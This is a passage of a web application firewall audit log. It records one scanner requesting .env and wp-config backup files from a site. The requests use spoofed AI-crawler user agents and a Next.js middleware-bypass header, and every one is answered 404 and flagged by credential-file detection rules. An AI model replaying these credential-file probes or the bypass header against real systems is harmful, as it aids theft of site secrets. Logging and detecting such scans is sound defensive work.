Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZ-nGM7dE9KgIIOpQh5nwAAANM"]
Stopwatch: 1789296540704283 34003 (- - -)
Stopwatch2: 1789296540704283 34003; combined=32441, p1=259, p2=32038, p3=80, p4=10, p5=54, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6b45ad6e-Z--

--8c1cbf1b-A--
[13/Sep/2026:13:49:00.738454 +0300] aqZ-nEwu1RSkptiiNIX7CwAAAIE 34.80.249.255 36606 127.0.0.1 7081
--8c1cbf1b-B--
GET /wp-config.php.old HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8c1cbf1b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8c1cbf1b-E--

--8c1cbf1b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZ-nEwu1RSkptiiNIX7CwAAAIE"]
Stopwatch: 1789296540703399 35136 (- - -)
Stopwatch2: 1789296540703399 35136; combined=33004, p1=486, p2=32353, p3=80, p4=22, p5=63, sr=286, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c1cbf1b-Z--

--6a55e040-A--
[13/Sep/2026:13:49:01.080826 +0300] aqZ-nUwu1RSkptiiNIX7DAAAAJI 34.80.249.255 36628 127.0.0.1 7081
--6a55e040-B--
GET /laravel/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6a55e040-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6a55e040-E--

--6a55e040-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/laravel/.env"] [unique_id "aqZ-nUwu1RSkptiiNIX7DAAAAJI"]
Stopwatch: 1789296541070817 10092 (- - -)
Stopwatch2: 1789296541070817 10092; combined=8526, p1=226, p2=8146, p3=89, p4=7, p5=58, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a55e040-Z--

--7480502a-A--
[13/Sep/2026:13:49:01.087098 +0300] aqZ-nWM7dE9KgIIOpQh5oAAAAMI 34.80.249.255 36626 127.0.0.1 7081
--7480502a-B--
GET /config/.env.php HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7480502a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7480502a-E--

--7480502a-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oAAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oAAAAMI"]
Stopwatch: 1789296541050910 36250 (- - -)
Stopwatch2: 1789296541050910 36250; combined=34741, p1=269, p2=34334, p3=86, p4=7, p5=45, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7480502a-Z--

--f0f5017c-A--
[13/Sep/2026:13:49:01.173549 +0300] aqZ-nTTJ6xTvcJoem7f8GwAAAEg 34.80.249.255 36640 127.0.0.1 7081
--f0f5017c-B--
GET /.env.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f0f5017c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f0f5017c-E--

--f0f5017c-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZ-nTTJ6xTvcJoem7f8GwAAAEg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZ-nTTJ6xTvcJoem7f8GwAAAEg"]
Stopwatch: 1789296541137784 35824 (- - -)
Stopwatch2: 1789296541137784 35824; combined=34247, p1=303, p2=33818, p3=70, p4=7, p5=49, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f0f5017c-Z--

--57dc302e-A--
[13/Sep/2026:13:49:01.390079 +0300] aqZ-nWM7dE9KgIIOpQh5oQAAAMY 34.80.249.255 36656 127.0.0.1 7081
--57dc302e-B--
GET /core/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--57dc302e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--57dc302e-E--

--57dc302e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/core/.env"] [unique_id "aqZ-nWM7dE9KgIIOpQh5oQAAAMY"]
Stopwatch: 1789296541370581 19575 (- - -)
Stopwatch2: 1789296541370581 19575; combined=16294, p1=323, p2=15114, p3=775, p4=9, p5=73, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--57dc302e-Z--

--ca02f739-A--
[13/Sep/2026:13:49:01.555654 +0300] aqZ-nWM7dE9KgIIOpQh5ogAAAMo 34.80.249.255 36682 127.0.0.1 7081
--ca02f739-B--
GET /config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ca02f739-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ca02f739-E--

--ca02f739-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config.php.bak"] [unique_id "aqZ-nWM7dE9KgIIOpQh5ogAAAMo"]
Stopwatch: 1789296541536514 19208 (- - -)
Stopwatch2: 1789296541536514 19208; combined=16975, p1=386, p2=16403, p3=113, p4=8, p5=64, sr=171, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ca02f739-Z--

--b0d46879-A--
[13/Sep/2026:13:49:01.711871 +0300] aqZ-nUwu1RSkptiiNIX7DwAAAJU 34.80.249.255 36686 127.0.0.1 7081
--b0d46879-B--
GET /configuration.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b0d46879-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b0d46879-E--

--b0d46879-H--
Message: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/configuration.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/configuration.php.bak"] [unique_id "aqZ-nUwu1RSkptiiNIX7DwAAAJU"]
Stopwatch: 1789296541700123 11920 (- - -)
Stopwatch2: 1789296541700123 11920; combined=9580, p1=385, p2=9010, p3=90, p4=8, p5=87, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0d46879-Z--

--6d02986f-A--
[13/Sep/2026:13:49:01.741331 +0300] aqZ-nSsVWymXUono-eRV@AAAAAA 34.80.249.255 36702 127.0.0.1 7081
--6d02986f-B--
GET /.env.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6d02986f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6d02986f-E--

--6d02986f-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.swp"] [unique_id "aqZ-nSsVWymXUono-eRV@AAAAAA"]
Stopwatch: 1789296541715003 26483 (- - -)
Stopwatch2: 1789296541715003 26483; combined=18170, p1=476, p2=17508, p3=106, p4=13, p5=66, sr=173, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d02986f-Z--

--17513806-A--
[13/Sep/2026:13:49:01.795731 +0300] aqZ-nUwu1RSkptiiNIX7EAAAAII 34.80.249.255 36710 127.0.0.1 7081
--17513806-B--
GET /public/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--17513806-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--17513806-E--

--17513806-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public/.env"] [unique_id "aqZ-nUwu1RSkptiiNIX7EAAAAII"]
Stopwatch: 1789296541784515 11346 (- - -)
Stopwatch2: 1789296541784515 11346; combined=8659, p1=427, p2=7979, p3=132, p4=14, p5=107, sr=180, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--17513806-Z--

--9f880b43-A--
[13/Sep/2026:13:49:02.040445 +0300] aqZ-nkwu1RSkptiiNIX7EQAAAIY 34.80.249.255 36712 127.0.0.1 7081
--9f880b43-B--
GET /web/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9f880b43-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--9f880b43-E--

--9f880b43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web/.env"] [unique_id "aqZ-nkwu1RSkptiiNIX7EQAAAIY"]
Stopwatch: 1789296542026027 14478 (- - -)
Stopwatch2: 1789296542026027 14478; combined=11441, p1=670, p2=10558, p3=141, p4=12, p5=60, sr=402, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f880b43-Z--

--28a3692b-A--
[13/Sep/2026:13:49:02.105743 +0300] aqZ-nmM7dE9KgIIOpQh5owAAANc 34.80.249.255 36718 127.0.0.1 7081
--28a3692b-B--
GET /wp/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--28a3692b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--28a3692b-E--

--28a3692b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp/.env"] [unique_id "aqZ-nmM7dE9KgIIOpQh5owAAANc"]
Stopwatch: 1789296542096192 9769 (- - -)
Stopwatch2: 1789296542096192 9769; combined=7605, p1=394, p2=6844, p3=241, p4=14, p5=110, sr=155, sw=2, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--28a3692b-Z--

--7aefd750-A--
[13/Sep/2026:13:49:02.184132 +0300] aqZ-nisVWymXUono-eRV@wAAABE 34.80.249.255 36744 127.0.0.1 7081
--7aefd750-B--
GET /storage/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7aefd750-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7aefd750-E--

--7aefd750-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
